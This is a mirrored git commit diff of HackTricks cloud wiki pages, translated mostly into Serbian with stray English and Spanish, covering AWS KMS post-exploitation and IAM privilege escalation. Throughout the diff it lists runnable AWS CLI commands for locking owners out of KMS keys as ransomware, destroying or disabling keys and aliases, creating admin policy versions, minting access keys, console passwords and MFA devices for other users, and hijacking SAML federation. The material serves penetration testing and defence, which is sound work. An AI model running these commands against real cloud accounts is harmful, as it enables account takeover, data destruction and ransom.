mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+30
-30
@@ -10,15 +10,15 @@ Za više informacija pogledajte:
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Šifrovanje/dešifrovanje informacija
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.
|
||||
- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za kodiranje.
|
||||
- `fileb://:` Čita fajl u binarnom modu, obično se koristi za fajlove koji nisu tekstualni.
|
||||
- `file://:` Čita fajl u tekstualnom modu, tipično se koristi za fajlove običnog teksta, skripte ili JSON koji nema posebne zahteve za kodiranje.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da, ako želite dešifrovati podatke u fajlu, fajl mora sadržati binarne podatke, a ne base64 enkodirane podatke. (fileb://)
|
||||
> Imajte na umu da, ako želite da dešifrujete neke podatke unutar fajla, fajl mora da sadrži binarne podatke, a ne base64 enkodirane podatke. (fileb://)
|
||||
|
||||
- Korišćenje **simetričnog** ključa
|
||||
```bash
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Koristeći **asimetrični** ključ:
|
||||
- Korišćenje **asymmetric** key:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Napadač koji ima privilegovani pristup KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup njima**, uklanjajući pristup dodeljen legitimnom nalogu.
|
||||
Napadač sa privilegovanim pristupom KMS-u može izmeniti KMS politiku ključeva i dodeliti svom nalogu pristup tim ključevima, uklanjajući pristup koji je dodeljen legitimnom nalogu.
|
||||
|
||||
Tada korisnici legitimnog naloga neće moći da pristupe informacijama nijedne usluge koja je šifrovana tim ključevima, što stvara jednostavan ali efikasan ransomware nad nalogom.
|
||||
Nakon toga, korisnici legitimnog naloga neće moći da pristupe bilo kojoj informaciji bilo kog servisa koji je šifrovan tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, samo **Customer managed keys**.
|
||||
|
||||
> Takođe napomena o potrebi korišćenja parametra **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).
|
||||
> Imajte na umu da **AWS managed keys aren't affected** ovim napadom, samo **Customer managed keys**.
|
||||
>
|
||||
> Takođe imajte na umu potrebu za korišćenjem parametra **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da biste **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generički KMS Ransomware
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:
|
||||
|
||||
- Napravite novi **key with a key material** importovan od strane napadača
|
||||
- **Re-encrypt older data** žrtve koja je bila šifrovana prethodnom verzijom, koristeći novu
|
||||
- Kreirajte novi **key with a key material** importovan od strane attacker
|
||||
- **Re-encrypt older data** of the victim koja je enkriptovana prethodnom verzijom, koristeći novu
|
||||
- **Delete the KMS key**
|
||||
- Sada samo napadač, koji poseduje originalni key material, može da dešifruje šifrovane podatke
|
||||
- Sada samo attacker, koji poseduje original key material, može da dešifruje šifrovane podatke
|
||||
|
||||
### Brisanje ključeva putem kms:DeleteImportedKeyMaterial
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Sa permisijom `kms:DeleteImportedKeyMaterial`, akter može obrisati importovanu key material iz CMKs sa `Origin=EXTERNAL` (CMKs that have imperted their key material), čineći ih nesposobnim za dešifrovanje podataka. Ova akcija je destruktivna i nepovratna osim ako kompatibilan materijal nije ponovo importovan, omogućavajući napadaču da efektivno izazove ransomware-like gubitak podataka tako što će enkriptovane informacije učiniti trajno nedostupnim.
|
||||
Sa dozvolom `kms:DeleteImportedKeyMaterial`, entitet može izbrisati importovan key material iz CMKs sa `Origin=EXTERNAL` (CMKs koji su importovali svoj key material), čineći ih nesposobnim da dešifruju podatke. Ova akcija je destruktivna i nepovratna osim ako kompatibilni materijal nije ponovo importovan, omogućavajući attacker-u da efikasno izazove gubitak podataka sličan ransomware-u čineći šifrovane informacije trajno nedostupnim.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destroy keys
|
||||
### Uništavanje keys
|
||||
|
||||
Destroying keys — moguće je izvesti DoS.
|
||||
Uništavanjem keys moguće je izazvati DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da AWS sada **sprečava da se prethodne radnje izvršavaju iz drugog naloga:**
|
||||
> Imajte na umu da AWS sada **sprečava da se prethodne radnje izvrše iz drugog naloga:**
|
||||
|
||||
### Promeni ili obriši Alias
|
||||
Ovaj napad briše ili preusmerava AWS KMS aliases, prekidajući rezoluciju ključeva i izazivajući trenutne greške u svim servisima koji se oslanjaju na te aliases, što rezultira denial-of-service. Sa privilegijama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias` napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može zakazati dok se alias ne vrati ili pravilno mapira.
|
||||
### Promena ili brisanje Alias-a
|
||||
Ovaj napad briše ili preusmerava AWS KMS alias-e, narušavajući rešavanje ključeva i izazivajući trenutne greške u svim servisima koji zavise od tih alias-a, što rezultira denial-of-service. Sa dozvolama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias` napadač može ukloniti ili preusmeriti alias-e i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može prestati da radi dok se alias ne vrati ili pravilno preslika.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -134,8 +134,8 @@ aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Poništavanje brisanja ključa
|
||||
Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
|
||||
### Otkaži brisanje ključa
|
||||
Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i vraća se njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -145,14 +145,14 @@ aws kms cancel-key-deletion \
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Sa dozvolom `kms:DisableKey`, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. Ovo prekida pristup svim servisima koji zavise od tog CMK-a i može izazvati trenutne prekide rada ili denial-of-service dok ključ ponovo ne bude omogućen.
|
||||
### Onemogućavanje ključa
|
||||
Sa dozvolom `kms:DisableKey`, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. To prekida pristup za sve servise koji zavise od tog CMK i može izazvati trenutne poremećaje ili denial-of-service dok se ključ ponovo ne omogući.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Izračunavanje zajedničke tajne
|
||||
Sa dozvolom `kms:DeriveSharedSecret`, entitet može da koristi privatni ključ u KMS-u zajedno sa javnim ključem koji dostavi korisnik da izračuna ECDH zajedničku tajnu.
|
||||
Sa `kms:DeriveSharedSecret` dozvolom, akter može da koristi privatni ključ koji drži KMS i javni ključ koji obezbedi korisnik da izračuna ECDH zajedničku tajnu.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Sa dozvolom `kms:Sign`, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, generišući važeće potpise koji mogu omogućiti impersonation ili autorizovati zlonamerne radnje.
|
||||
Sa dozvolom `kms:Sign`, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, proizvodeći važeće potpise koji mogu omogućiti impersonation ili autorizovati maliciozne radnje.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -168,8 +168,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu sa ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadgledati te dozvole.
|
||||
### DoS sa Custom Key Stores
|
||||
Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, diskonektovati ili izbrisati AWS KMS Custom Key Store (CKS), čime čini njegove master keys neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za bilo koje servise koji zavise od tih ključeva i može prouzrokovati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadzirati te dozvole.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+49
-30
@@ -12,28 +12,28 @@ Za više informacija o IAM pogledajte:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom `iam:SetDefaultPolicyVersion` korišćenjem `--set-as-default` flag-a. Ovo omogućava definisanje prilagođenih dozvola.
|
||||
Dodeljuje mogućnost kreiranja nove IAM policy verzije, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` flag-a. Ovo omogućava definisanje prilagođenih dozvola.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Uticaj:** Direktno eskalira privilegije dozvoljavajući bilo koju akciju nad bilo kojim resursom.
|
||||
**Uticaj:** Direktno eskalira privilegije omogućavajući bilo koju akciju nad bilo kojim resursom.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Omogućava promenu podrazumevane verzije IAM politike na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.
|
||||
Omogućava promenu podrazumevane verzije IAM policy-ja na drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Uticaj:** Indirektno privilege escalation omogućavanjem dodatnih dozvola.
|
||||
**Uticaj:** Indirektna eskalacija privilegija omogućavanjem dodatnih dozvola.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation.
|
||||
Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne eskalacije privilegija.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -41,9 +41,28 @@ aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Uticaj:** Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.
|
||||
|
||||
Napomena: korisnik može imati kreirane samo 2 access keys, tako da ako korisnik već ima 2 access keys, biće vam potrebna dozvola `iam:DeleteAccessKey` da obrišete jedan od njih kako biste mogli da kreirate novi:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Ako možete da kreirate novi virtual MFA device i omogućite ga drugom korisniku, efikasno možete da registrujete sopstveni MFA za tog korisnika i potom zatražite sesiju zasnovanu na MFA koristeći njegove kredencijale.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Uticaj:** Direktna eskalacija privilegija preuzimanjem MFA registracije korisnika (a zatim korišćenjem njihovih dozvola).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Dozvoljava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za AWS console login, što dovodi do direktne eskalacije privilegija.
|
||||
Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu na AWS konzolu, što vodi ka direktnoj eskalaciji privilegija.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -55,11 +74,11 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Uticaj:** Direktno povećanje privilegija (privilege escalation) prijavom kao "any" korisnik.
|
||||
**Uticaj:** Direktna eskalacija privilegija prijavom kao bilo koji korisnik.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Omogućava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako attacker poseduje onemogućeni access key.
|
||||
Omogućava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje taj onemogućeni ključ.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -69,9 +88,9 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), pri čemu nasleđuju dozvole povezane sa odgovarajućim korisnikom.
|
||||
Omogućava generisanje ili resetovanje kredencijala za određene AWS servise (npr. CodeCommit, Amazon Keyspaces), pri čemu ti kredencijali nasleđuju dozvole pripadajućeg korisnika.
|
||||
|
||||
Exploit for Creation:
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,25 +98,25 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Uticaj:** Direktna eskalacija privilegija unutar servisnih dozvola korisnika.
|
||||
**Uticaj:** Direktna eskalacija privilegija u okviru dozvola koje korisnik ima za servis.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola iz priložene politike.
|
||||
Omogućava prikačenje policy-ja korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola iz priloženog policy-ja.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit za grupu:**
|
||||
**Exploit za Group:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Uticaj:** Direktna eskalacija privilegija do svega što policy dodeljuje.
|
||||
**Impact:** Direktno privilege escalation na sve što policy dodeljuje.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Dozvoljava pridruživanje ili postavljanje policies na roles, users ili groups, što omogućava direktnu eskalaciju privilegija dodeljivanjem dodatnih permissions.
|
||||
Dozvoljava dodavanje ili postavljanje policy-ja na roles, users ili groups, omogućavajući direct privilege escalation dodeljivanjem dodatnih permissions.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -127,11 +146,11 @@ Možete koristiti politiku kao:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola putem politika.
|
||||
**Impact:** Direktno privilege escalation dodavanjem dozvola kroz politike.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola te grupe.
|
||||
Omogućava dodavanje sebe u IAM grupu, escalating privileges nasleđivanjem dozvola grupe.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -141,14 +160,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Dozvoljava izmenu assume role policy dokumenta uloge, omogućavajući preuzimanje te uloge i njenih povezanih dozvola.
|
||||
Omogućava izmenu assume role policy dokumenta role, čime se omogućava preuzimanje te role i njenih pridruženih dozvola.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Gde politika izgleda kao u nastavku i daje korisniku dozvolu da preuzme ulogu:
|
||||
Gde politika izgleda ovako, koja korisniku daje dozvolu da preuzme ulogu:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,11 +182,11 @@ Gde politika izgleda kao u nastavku i daje korisniku dozvolu da preuzme ulogu:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Uticaj:** Direktan privilege escalation preuzimanjem dozvola bilo koje role.
|
||||
**Uticaj:** Direktno eskaliranje privilegija preuzimanjem dozvola bilo koje role.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Omogućava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog privilege escalation.
|
||||
Omogućava postavljanje SSH javnog ključa za autentifikaciju u CodeCommit i deaktivaciju MFA uređaja, što može dovesti do potencijalnog indirektnog eskaliranja privilegija.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -177,13 +196,13 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Uticaj:** Indirektna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.
|
||||
**Uticaj:** Neizravna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Omogućava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektne eskalacije privilegija manipulacijom MFA zaštitom.
|
||||
Dozvoljava ponovnu sinhronizaciju MFA uređaja, što potencijalno može dovesti do neizravne eskalacije privilegija manipulacijom MFA zaštite.
|
||||
|
||||
**Bash Command:**
|
||||
**Bash naredba:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
@@ -192,9 +211,9 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Sa ovim dozvolama možete **izmeniti XML metapodatke SAML konekcije**. Zatim, možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **ulogom koja mu veruje**.
|
||||
Sa ovim permisijama možete **promeniti XML metapodatke SAML konekcije**. Zatim možete zloupotrebiti **SAML federaciju** da se **login** sa bilo kojom **ulogom koja joj veruje**.
|
||||
|
||||
Imajte na umu da u tom slučaju **legitimni korisnici neće moći da se login**. Međutim, možete pribaviti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.
|
||||
Imajte na umu da u tom slučaju **legitimni korisnici neće moći da se login**. Međutim, možete dobiti XML, ubaciti svoj, login i vratiti prethodnu konfiguraciju.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -215,7 +234,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Nisam siguran u vezi ovoga) Ako napadač ima ove **permissions**, mogao bi dodati novi **Thumbprint** i na taj način se prijaviti u sve uloge koje veruju provajderu.
|
||||
(Nisam siguran u ovo) Ako napadač ima ove **permissions**, mogao bi dodati novi **Thumbprint** i tako se prijaviti u sve role koje veruju provideru.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Ovo dopuštenje omogućava napadaču да ажурира permissions boundary корисника, потенцијално ескалирајући његове привилегије тако што ће му омогућити извршавање радњи које су иначе ограничене његовим постојећим дозволама.
|
||||
Ova dozvola omogućava napadaču da ažurira granicu dozvola (permissions boundary) korisnika, potencijalno eskalirajući njegove privilegije i omogućavajući mu izvršavanje akcija koje su inače ograničene postojećim dozvolama.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Entitet koji ima iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada osoba sa ovom dozvolom promeni ograničenje uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako priloži permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.
|
||||
Entitet sa iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepropisno ograničiti operacije (što može izazvati prekid usluge) ili, ako postavi preširoko ograničenje dozvola, faktički proširiti šta uloga može da radi i eskalirati privilegije.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user